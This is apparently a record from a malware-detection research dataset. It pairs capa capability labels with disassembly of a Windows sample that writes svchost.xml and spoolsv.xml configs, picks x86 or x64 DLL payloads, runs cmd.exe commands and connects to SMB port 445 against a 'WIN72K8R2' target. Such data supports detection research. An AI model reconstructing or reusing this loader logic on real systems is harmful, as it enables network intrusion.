joyce8/EMBER2024-capa huggingface dataset:
Function at 0x566c0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1910c
call fcn.0006eb10
mov eax, dword [0x7a008]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
lea eax, [ebp - 0x108]
push 0x104
push 0
push eax
mov ebx, edx
mov esi, ecx
call fcn.00060900
push esi
push str._s_svchost.xml
lea eax, [ebp - 0x108]
push 0x104
push eax
call fcn.000545b0
push 0x19000
lea eax, [ebp - 0x19108]
push 0
push eax
call fcn.00060900
push edi
push ebx
push dword [0x7c944]
lea eax, [ebp - 0x19108]
push 0x19000
push eax
call fcn.000545b0
lea esi, [ebp - 0x19108]
add esp, 0x3c
lea ecx, [esi + 1]
mov al, byte [esi]
inc esi
test al, al
jne 0x56743
push 0
push 0x80
push 2
push 0
push 2
push 0x40000000
lea eax, [ebp - 0x108]
mov dword [ebp - 0x1910c], 0
push eax
sub esi, ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
test edi, edi
je 0x5679e
push 0
lea eax, [ebp - 0x1910c]
push eax
push esi
lea eax, [ebp - 0x19108]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push edi
test eax, eax
jne 0x567b1
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
xor al, al
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0005e04d
mov esp, ebp
pop ebp
ret
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
mov al, 1
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0005e04d
mov esp, ebp
pop ebp
ret
Function at 0x567d0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x19318
call fcn.0006eb10
mov eax, dword [0x7a008]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push edi
mov edi, dword [ebp + 8]
lea eax, [ebp - 0x19314]
mov ebx, edx
mov dword [ebp - 0x19318], 0
push eax
lea edx, [ebp - 0x19318]
mov dword [ebp - 0x19314], 0
call fcn.000542a0
add esp, 4
test al, al
jne 0x5682b
pop edi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0005e04d
mov esp, ebp
pop ebp
ret
push esi
push 0x104
lea eax, [ebp - 0x20c]
push 0
push eax
call fcn.00060900
push 0x104
lea eax, [ebp - 0x108]
push 0
push eax
call fcn.00060900
push ebx
push str._sx86.dll
lea eax, [ebp - 0x20c]
push 0x104
push eax
call fcn.000545b0
push ebx
push str._sx64.dll
lea eax, [ebp - 0x108]
push 0x104
push eax
call fcn.000545b0
push 0x19000
lea eax, [ebp - 0x19310]
push 0
push eax
call fcn.00060900
mov esi, dword [ebp - 0x19318]
add esp, 0x44
mov ecx, esi
call fcn.00056a90
cmp eax, 0x20
je 0x568d3
cmp eax, 0x40
je 0x568cb
test esi, esi
je 0x568b8
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
pop esi
pop edi
xor al, al
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0005e04d
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 0x108]
jmp 0x568d9
lea eax, [ebp - 0x20c]
push eax
push edi
push dword [0x7c94c]
lea eax, [ebp - 0x19310]
push 0x19000
push eax
call fcn.000545b0
add esp, 0x14
test esi, esi
je 0x56900
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
push 0x104
lea eax, [ebp - 0x310]
push 0
push eax
call fcn.00060900
push ebx
push str._s_spoolsv.xml
lea eax, [ebp - 0x310]
push 0x104
push eax
call fcn.000545b0
lea esi, [ebp - 0x19310]
add esp, 0x1c
lea ecx, [esi + 1]
mov al, byte [esi]
inc esi
test al, al
jne 0x56936
push 0
push 0x80
push 2
push 0
push 2
push 0x40000000
lea eax, [ebp - 0x310]
mov dword [ebp - 0x19314], 0
push eax
sub esi, ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
test edi, edi
je 0x568b8
push 0
lea eax, [ebp - 0x19314]
push eax
push esi
lea eax, [ebp - 0x19310]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push edi
test eax, eax
jne 0x569a8
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
pop edi
xor al, al
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0005e04d
mov esp, ebp
pop ebp
ret
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
mov al, 1
pop esi
pop edi
xor ecx, ebp
pop ebx
call fcn.0005e04d
mov esp, ebp
pop ebp
ret
Function at 0x56b10
Capabilities:
Create thread
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x61c
mov eax, dword [0x7a008]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
push 0x104
lea eax, [ebp - 0x518]
mov esi, edx
push 0
push eax
mov edi, ecx
call fcn.00060900
add esp, 0xc
lea eax, [ebp - 0x518]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
push 0x104
lea eax, [ebp - 0x108]
push 0
push eax
call fcn.00060900
push 0x104
lea eax, [ebp - 0x414]
push 0
push eax
call fcn.00060900
push 0x104
lea eax, [ebp - 0x310]
push 0
push eax
call fcn.00060900
push 0x104
lea eax, [ebp - 0x61c]
push 0
push eax
call fcn.00060900
push 0x104
lea eax, [ebp - 0x20c]
push 0
push eax
call fcn.00060900
push esi
push str._sprocess1.txt
lea eax, [ebp - 0x108]
push 0x104
push eax
call fcn.000545b0
add esp, 0x4c
lea eax, [ebp - 0x414]
push esi
push str._sprocess2.txt
push 0x104
push eax
call fcn.000545b0
lea eax, [ebp - 0x108]
push eax
push esi
push str._c__s_svchost.exe____s
lea eax, [ebp - 0x310]
push 0x104
push eax
call fcn.000545b0
lea eax, [ebp - 0x414]
push eax
push esi
push str._c__s_spoolsv.exe____s
lea eax, [ebp - 0x61c]
push 0x104
push eax
call fcn.000545b0
lea eax, [ebp - 0x518]
push eax
push str._scmd.exe
lea eax, [ebp - 0x20c]
push 0x104
push eax
call fcn.000545b0
add esp, 0x48
mov ecx, esi
call fcn.000565d0
test al, al
je 0x56cb7
push str.WIN72K8R2
mov edx, edi
mov ecx, esi
call fcn.000566c0
add esp, 4
test al, al
je 0x56cb7
push esi
lea edx, [ebp - 0x310]
lea ecx, [ebp - 0x20c]
call fcn.00054390
add esp, 4
test al, al
je 0x56cb7
nop word [eax + eax]
lea ecx, [ebp - 0x108]
call fcn.000569d0
sub eax, 0
jne 0x56cc9
push 0x77994
mov edx, edi
mov ecx, esi
call fcn.000566c0
push esi
lea edx, [ebp - 0x310]
lea ecx, [ebp - 0x20c]
call fcn.00054390
add esp, 8
test al, al
jne 0x56c80
pop edi
xor al, al
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0005e04d
mov esp, ebp
pop ebp
ret
sub eax, 1
je 0x56cb7
push edi
mov edx, esi
lea ecx, [ebp - 0x108]
call fcn.000567d0
add esp, 4
test al, al
je 0x56cb7
push esi
lea edx, [ebp - 0x61c]
lea ecx, [ebp - 0x20c]
call fcn.00054390
add esp, 4
test al, al
je 0x56cb7
push 0x80
call fcn.0005e0a4
push 0x80
mov esi, eax
push 0
push esi
call fcn.00060900
push edi
push 0x80
push esi
call fcn.00062f3c
add esp, 0x1c
push 0
push 0
push esi
push 0x56d60
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 4]
mov al, 1
pop edi
xor ecx, ebp
pop esi
call fcn.0005e04d
mov esp, ebp
pop ebp
ret
Function at 0x57ca0
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
push edi
xor esi, esi
mov eax, ecx
push esi
push 0x80
push 3
push esi
push 1
lea ebx, [eax + 0x110]
mov dword [ebp - 4], eax
push 0x80000000
push ebx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
jne 0x57d0b
mov eax, esi
inc esi
cmp eax, 0xa
jg 0x57d94
push 0x12c
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
push ebx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x57cd4
mov ecx, dword [ebp - 4]
push 0
mov eax, dword [ecx + 8]
mov esi, dword [ecx + 0xc]
mov dword [ebp - 8], eax
lea eax, [ebp - 8]
push eax
push esi
push edi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0x19000
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov ebx, eax
lea eax, [ebp - 0xc]
push 0
push eax
push 0x18ff7
lea eax, [ebx + 9]
mov byte [ebx], 0x33
mov ecx, dword [ebp - 8]
push eax
mov dword [ebx + 1], ecx
mov dword [ebx + 5], esi
push edi
mov dword [ebp - 0xc], 0
call dword [sym.imp.KERNEL32.dll_ReadFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 4]
test eax, eax
je 0x57d86
add eax, 9
push eax
push ebx
call fcn.00057e10
push ebx
call dword [sym.imp.KERNEL32.dll_LocalFree]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov ecx, dword [ecx]
mov eax, dword [ecx]
call dword [eax + 0x18]
push ebx
call dword [sym.imp.KERNEL32.dll_LocalFree]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x58290
Capabilities:
Create tcp socket
Create udp socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [0x7a008]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push 0
push 1
push 2
mov esi, ecx
call dword [sym.imp.WS2_32.dll_socket]
mov dword [esi + 0x20c], eax
test eax, eax
jne 0x582cc
xor al, al
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0005e04d
mov esp, ebp
pop ebp
ret 4
push dword [ebp + 8]
xor eax, eax
xorps xmm0, xmm0
mov word [ebp - 0x14], ax
movq qword [ebp - 0x12], xmm0
mov dword [ebp - 0xa], eax
mov word [ebp - 6], ax
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x12], ax
mov eax, 2
push 0
mov word [ebp - 0x14], ax
call dword [sym.imp.WS2_32.dll_htonl]
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x14]
push 0x10
push eax
push dword [esi + 0x20c]
call dword [sym.imp.WS2_32.dll_bind]
test eax, eax
js 0x582b9
push 5
push dword [esi + 0x20c]
call dword [sym.imp.WS2_32.dll_listen]
mov ecx, dword [ebp - 4]
test eax, eax
pop esi
setns al
xor ecx, ebp
call fcn.0005e04d
mov esp, ebp
pop ebp
ret 4
Function at 0x58340
Capabilities:
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [0x7a008]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
lea eax, [ebp - 0x28]
mov dword [ebp - 0x28], 0x10
push eax
lea eax, [ebp - 0x20]
push eax
push dword [ecx + 0x20c]
call dword [sym.imp.WS2_32.dll_accept]
push 4
mov esi, eax
mov dword [ebp - 0x24], 1
lea eax, [ebp - 0x24]
push eax
push 8
push 0xffff
push esi
call dword [sym.imp.WS2_32.dll_setsockopt]
test eax, eax
jne 0x583be
push eax
push eax
lea eax, [ebp - 0x24]
mov dword [ebp - 0x10], 1
push eax
push 0
push 0
push 0xc
lea eax, [ebp - 0x10]
mov dword [ebp - 0xc], 0x2bf20
push eax
push 0x98000004
push esi
mov dword [ebp - 8], 0x3e8
call dword [sym.imp.WS2_32.dll_WSAIoctl]
push 0x214
call fcn.0005e05e
add esp, 4
mov dword [ebp - 0x24], eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
mov dword [eax + 0x210], esi
mov dword [eax], vtable.Tcp.0
pop esi
call fcn.0005e04d
mov esp, ebp
pop ebp
ret

Function at 0x583f0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x7a008]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
mov edi, dword [ebp + 8]
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov esi, eax
test esi, esi
jne 0x5842b
pop edi
xor eax, eax
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0005e04d
mov esp, ebp
pop ebp
ret 8
push edi
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov edi, eax
test edi, edi
je 0x58417
push dword [ebp + 0xc]
xorps xmm0, xmm0
mov dword [ebp - 0xa], 0
mov eax, 2
movq qword [ebp - 0x12], xmm0
mov word [ebp - 6], 0
mov word [ebp - 0x14], ax
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x12], ax
mov eax, dword [edi + 0xc]
push 0x10
mov eax, dword [eax]
mov eax, dword [eax]
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x14]
push eax
push esi
call dword [sym.imp.WS2_32.dll_connect]
test eax, eax
js 0x58417
push esi
call fcn.00058650
push 0x214
call fcn.0005e05e
mov ecx, dword [ebp - 4]
add esp, 4
xor ecx, ebp
mov dword [ebp - 0x18], eax
mov dword [eax + 0x210], esi
pop edi
mov dword [eax], vtable.Tcp.0
pop esi
call fcn.0005e04d
mov esp, ebp
pop ebp
ret 8
Function at 0x58590
Capabilities:
Get socket status

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov edx, ecx
mov dword [edx + 4], 0
xor ecx, ecx
mov dword [edx + 0x108], 0
mov eax, dword [edx + 0x210]
push ebx
push esi
push edi
lea ebx, [edx + 4]
mov dword [edx + 8], eax
inc dword [ebx]
lea edi, [edx + 0x108]
mov esi, dword [edi]
test esi, esi
je 0x585df
mov ebx, eax
lea eax, [edx + 0x10c]
cmp dword [eax], ebx
je 0x585dc
inc ecx
add eax, 4
cmp ecx, esi
jb 0x585d0
lea ebx, [edx + 4]
cmp ecx, esi
jne 0x585f7
cmp esi, 0x40
jae 0x585f7
mov eax, dword [edx + 0x210]
mov dword [edx + ecx*4 + 0x10c], eax
inc dword [edi]
lea eax, [ebp - 8]
mov dword [ebp - 8], 0x12c
push eax
mov eax, dword [edx + 0x210]
push 0
push edi
push ebx
inc eax
mov dword [ebp - 4], 0
push eax
call dword [sym.imp.WS2_32.dll_select]
mov esi, eax
test esi, esi
jns 0x5862d
call fcn.0006300f
cmp dword [eax], 4
jne 0x5862f
test esi, esi
jne 0x58639
pop edi
pop esi
or eax, 0xffffffff
pop ebx
mov esp, ebp
pop ebp
ret
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x586e0
Capabilities:
Check mutex on windows
Contain obfuscated stackstrings
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x1b4
mov eax, dword [0x7a008]
xor eax, esp
mov dword [esp + 0x1b0], eax
push esi
lea eax, [esp + 8]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
movaps xmm0, xmmword [str.EB0Z85_37F8_D52]
lea eax, [esp + 0x198]
push eax
push 1
push 0
movups xmmword [esp + 0x1a4], xmm0
mov dword [esp + 0x1b4], 0x38422d39
mov dword [esp + 0x1b8], 0x46333837
mov word [esp + 0x1bc], 0x7d
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
sete al
test esi, esi
je 0x58772
test al, al
je 0x58787
push esi
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor al, al
pop esi
mov ecx, dword [esp + 0x1b0]
xor ecx, esp
call fcn.0005e04d
mov esp, ebp
pop ebp
ret
mov ecx, dword [esp + 0x1b4]
mov al, 1
pop esi
xor ecx, esp
call fcn.0005e04d
mov esp, ebp
pop ebp
ret

Function at 0x587a0
Capabilities:
Check for time delay via gettickcount
Create thread
Terminate process

Disassembly:
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_FreeConsole]
push 0x586d0
call dword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
call fcn.000586e0
test al, al
jne 0x587c3
pop edi
pop esi
xor eax, eax
pop ebx
ret
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0xbb8
call edi
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x56140
push 0
push 0
call esi
push 0
push 0
push 0
push 0x58a30
push 0
push 0
call esi
push 0
push 0
push 0
push 0x57000
push 0
push 0
call esi
push 0
push 0
push 0
push 0x545d0
push 0
push 0
call esi
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
call esi
mov ebx, eax
call esi
sub eax, ebx
cmp eax, 0xa4cb80
jae 0x58842
nop
push 0xea60
call edi
call esi
sub eax, ebx
cmp eax, 0xa4cb80
jb 0x58830
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x58850
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [0x7a008]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 6
push 1
push 2
mov edi, edx
mov ebx, ecx
call dword [sym.imp.WS2_32.dll_socket]
mov esi, eax
cmp esi, 0xffffffff
je 0x588b1
mov eax, 2
push ebx
mov word [ebp - 0x14], ax
call dword [sym.imp.WS2_32.dll_inet_addr]
push edi
mov dword [ebp - 0x10], eax
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x12], ax
lea eax, [ebp - 0x14]
push 0x10
push eax
push esi
call dword [sym.imp.WS2_32.dll_connect]
push esi
cmp eax, 0xffffffff
jne 0x588c4
call dword [sym.imp.WS2_32.dll_closesocket]
pop edi
pop esi
xor al, al
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0005e04d
mov esp, ebp
pop ebp
ret
call dword [sym.imp.WS2_32.dll_closesocket]
mov ecx, dword [ebp - 4]
mov al, 1
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0005e04d
mov esp, ebp
pop ebp
ret

Function at 0x588e0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [0x7a008]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
push 6
push 1
push 2
mov edi, ecx
call dword [sym.imp.WS2_32.dll_socket]
mov esi, eax
cmp esi, 0xffffffff
je 0x58942
mov eax, 2
push edi
mov word [ebp - 0x14], ax
call dword [sym.imp.WS2_32.dll_inet_addr]
push 0x1bd
mov dword [ebp - 0x10], eax
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x12], ax
lea eax, [ebp - 0x14]
push 0x10
push eax
push esi
call dword [sym.imp.WS2_32.dll_connect]
push esi
cmp eax, 0xffffffff
jne 0x58954
call dword [sym.imp.WS2_32.dll_closesocket]
pop edi
xor al, al
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0005e04d
mov esp, ebp
pop ebp
ret
call dword [sym.imp.WS2_32.dll_closesocket]
mov edx, 0xdefc
mov ecx, edi
call fcn.00058850
test al, al
jne 0x58942
mov ecx, dword [ebp - 4]
mov al, 1
pop edi
xor ecx, ebp
pop esi
call fcn.0005e04d
mov esp, ebp
pop ebp
ret
Function at 0x5ae70
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
test edx, edx
jne 0x5ae7b
xor eax, eax
pop ebp
ret
push esi
mov esi, dword [ebp + 8]
not ecx
cmp esi, 8
jb 0x5af37
push edi
mov edi, esi
shr edi, 3
movzx eax, byte [edx]
sub esi, 8
xor eax, ecx
shr ecx, 8
movzx eax, al
xor ecx, dword [eax*4 + 0x75a90]
movzx eax, byte [edx + 1]
xor eax, ecx
shr ecx, 8
movzx eax, al
xor ecx, dword [eax*4 + 0x75a90]
movzx eax, byte [edx + 2]
xor eax, ecx
shr ecx, 8
movzx eax, al
xor ecx, dword [eax*4 + 0x75a90]
movzx eax, byte [edx + 3]
xor eax, ecx
shr ecx, 8
movzx eax, al
xor ecx, dword [eax*4 + 0x75a90]
movzx eax, byte [edx + 4]
xor eax, ecx
shr ecx, 8
movzx eax, al
xor ecx, dword [eax*4 + 0x75a90]
movzx eax, byte [edx + 5]
xor eax, ecx
shr ecx, 8
movzx eax, al
xor ecx, dword [eax*4 + 0x75a90]
movzx eax, byte [edx + 6]
xor eax, ecx
shr ecx, 8
movzx eax, al
xor ecx, dword [eax*4 + 0x75a90]
movzx eax, byte [edx + 7]
add edx, 8
xor eax, ecx
shr ecx, 8
movzx eax, al
xor ecx, dword [eax*4 + 0x75a90]
sub edi, 1
jne 0x5ae90
pop edi
test esi, esi
je 0x5af5a
nop dword [eax + eax]
movzx eax, byte [edx]
lea edx, [edx + 1]
xor eax, ecx
shr ecx, 8
movzx eax, al
xor ecx, dword [eax*4 + 0x75a90]
sub esi, 1
jne 0x5af40
not ecx
mov eax, ecx
pop esi
pop ebp
ret

Function at 0x5af70
Capabilities:
Generate random numbers using the delphi lcg
Hash data with crc32

Disassembly:
push esi
push edi
mov edi, ecx
movsx eax, dl
mov esi, dword [edi]
xor eax, esi
mov ecx, dword [edi + 8]
movzx eax, al
shr esi, 8
mov eax, dword [eax*4 + 0x75a90]
xor eax, esi
mov dword [edi], eax
movzx eax, al
add eax, dword [edi + 4]
imul eax, eax, 0x8088405
inc eax
mov dword [edi + 4], eax
shr eax, 0x18
xor eax, ecx
shr ecx, 8
movzx eax, al
xor ecx, dword [eax*4 + 0x75a90]
mov dword [edi + 8], ecx
pop edi
pop esi
ret

Function at 0x5afc0
Capabilities:
Generate random numbers using the delphi lcg
Hash data with crc32

Disassembly:
push ebx
push esi
mov bl, dl
mov edx, ecx
push edi
mov edi, dword [edx + 8]
mov esi, edi
mov ecx, dword [edx]
and esi, 0xfffd
or esi, 2
mov eax, esi
xor eax, 1
imul eax, esi
shr eax, 8
xor bl, al
movsx eax, bl
xor eax, ecx
shr ecx, 8
movzx eax, al
mov eax, dword [eax*4 + 0x75a90]
xor eax, ecx
mov dword [edx], eax
movzx eax, al
add eax, dword [edx + 4]
imul eax, eax, 0x8088405
inc eax
mov dword [edx + 4], eax
shr eax, 0x18
xor eax, edi
shr edi, 8
movzx eax, al
xor edi, dword [eax*4 + 0x75a90]
mov al, bl
mov dword [edx + 8], edi
pop edi
pop esi
pop ebx
ret
Function at 0x5b7f0
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, dword [ebp + 0xc]
mov ebx, edx
mov esi, ebx
mov eax, ecx
imul esi, dword [ebp + 8]
mov dword [ebp - 4], eax
cmp byte [edi], 0
je 0x5b833
push 0
lea ecx, [ebp + 8]
push ecx
push esi
push eax
push dword [edi + 4]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x5b825
mov byte [edi + 8], 1
mov eax, dword [ebp + 8]
xor edx, edx
pop edi
pop esi
div ebx
pop ebx
mov esp, ebp
pop ebp
ret
mov edx, dword [edi + 0x1c]
mov ecx, dword [edi + 0x18]
lea eax, [edx + esi]
cmp eax, ecx
jbe 0x5b844
mov esi, ecx
sub esi, edx
mov ecx, dword [edi + 0x14]
push esi
add ecx, edx
push ecx
push dword [ebp - 4]
call fcn.0006ec20
add dword [edi + 0x1c], esi
add esp, 0xc
mov eax, esi
xor edx, edx
div ebx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x5b870
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
mov esi, ecx
mov ebx, edx
push edi
mov dword [ebp - 8], ebx
mov edi, 1
cmp byte [esi], 0
je 0x5b8ab
push 0
lea eax, [ebp - 8]
push eax
push edi
lea eax, [ebp - 1]
push eax
push dword [esi + 4]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x5b8a6
mov byte [esi + 8], 1
mov edi, dword [ebp - 8]
jmp 0x5b8d8
mov ebx, dword [esi + 0x1c]
mov ecx, dword [esi + 0x18]
lea eax, [ebx + 1]
cmp eax, ecx
jbe 0x5b8bc
mov edi, ecx
sub edi, ebx
mov eax, dword [esi + 0x14]
add eax, ebx
push edi
push eax
lea eax, [ebp - 1]
push eax
call fcn.0006ec20
lea eax, [ebx + edi]
add esp, 0xc
mov ebx, dword [ebp - 8]
mov dword [esi + 0x1c], eax
cmp edi, 1
jne 0x5b8ec
movzx eax, byte [ebp - 1]
mov dword [ebx], eax
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
cmp byte [esi], 0
je 0x5b8e3
cmp byte [esi + 8], 0
je 0x5b8e3
pop edi
pop esi
or eax, 0xffffffff
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x5b9b0
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
xor edx, edx
push ebx
push 2
mov ebx, ecx
call fcn.0005b760
add esp, 4
test eax, eax
je 0x5b9d1
or eax, 0xffffffff
pop ebx
mov esp, ebp
pop ebp
ret
cmp byte [ebx], 0
push edi
je 0x5b9fa
cmp byte [ebx + 1], 0
je 0x5b9f3
push 1
push 0
push 0
push dword [ebx + 4]
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov edi, eax
sub edi, dword [ebx + 0xc]
jmp 0x5b9fd
xor edi, edi
mov dword [ebp - 0xc], edi
jmp 0x5ba0c
mov edi, dword [ebx + 0x1c]
mov eax, 0xffff
mov dword [ebp - 0xc], edi
mov dword [ebp - 8], eax
cmp edi, eax
jae 0x5ba0f
mov dword [ebp - 8], edi
push esi
push 0x404
call fcn.00062cd6
mov esi, eax
add esp, 4
test esi, esi
jne 0x5ba2d
pop esi
pop edi
or eax, 0xffffffff
pop ebx
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 8]
mov eax, 4
mov dword [ebp - 4], 0xffffffff
cmp ecx, eax
jbe 0x5bb18
add eax, 0x400
cmp eax, ecx
mov edx, eax
mov eax, edi
cmova edx, ecx
mov ecx, 0x404
sub eax, edx
mov dword [ebp - 0x1c], edx
sub edi, eax
mov dword [ebp - 0x18], eax
cmp edi, 0x404
mov edx, eax
push 0
cmova edi, ecx
mov ecx, ebx
call fcn.0005b760
add esp, 4
test eax, eax
jne 0x5bb18
mov ecx, edi
mov dword [ebp - 0x10], edi
cmp byte [ebx], al
je 0x5baa6
push eax
lea eax, [ebp - 0x14]
push eax
push edi
push esi
push dword [ebx + 4]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x5baa1
mov byte [ebx + 8], 1
mov eax, dword [ebp - 0x14]
jmp 0x5bacf
mov edx, dword [ebx + 0x1c]
lea eax, [edx + edi]
cmp eax, dword [ebx + 0x18]
jbe 0x5bab9
mov ecx, dword [ebx + 0x18]
sub ecx, edx
mov dword [ebp - 0x10], ecx
push ecx
mov ecx, dword [ebx + 0x14]
add ecx, edx
push ecx
push esi
call fcn.0006ec20
mov eax, dword [ebp - 0x10]
add esp, 0xc
add dword [ebx + 0x1c], eax
xor edx, edx
div edi
cmp eax, 1
jne 0x5bb18
lea eax, [edi - 3]
test eax, eax
js 0x5bb00
nop
dec eax
cmp byte [eax + esi], 0x50
jne 0x5bafc
cmp byte [eax + esi + 1], 0x4b
jne 0x5bafc
cmp byte [eax + esi + 2], 5
jne 0x5bafc
cmp byte [eax + esi + 3], 6
je 0x5bb2b
test eax, eax
jns 0x5bae0
mov eax, dword [ebp - 4]
test eax, eax
jne 0x5bb18
mov ecx, dword [ebp - 8]
mov eax, dword [ebp - 0x1c]
mov edi, dword [ebp - 0xc]
cmp eax, ecx
jb 0x5ba44
push esi
call fcn.00062cd1
mov eax, dword [ebp - 4]
add esp, 4
pop esi
pop edi
pop ebx
mov esp, ebp
pop ebp
ret
add eax, dword [ebp - 0x18]
mov dword [ebp - 4], eax
jmp 0x5bb03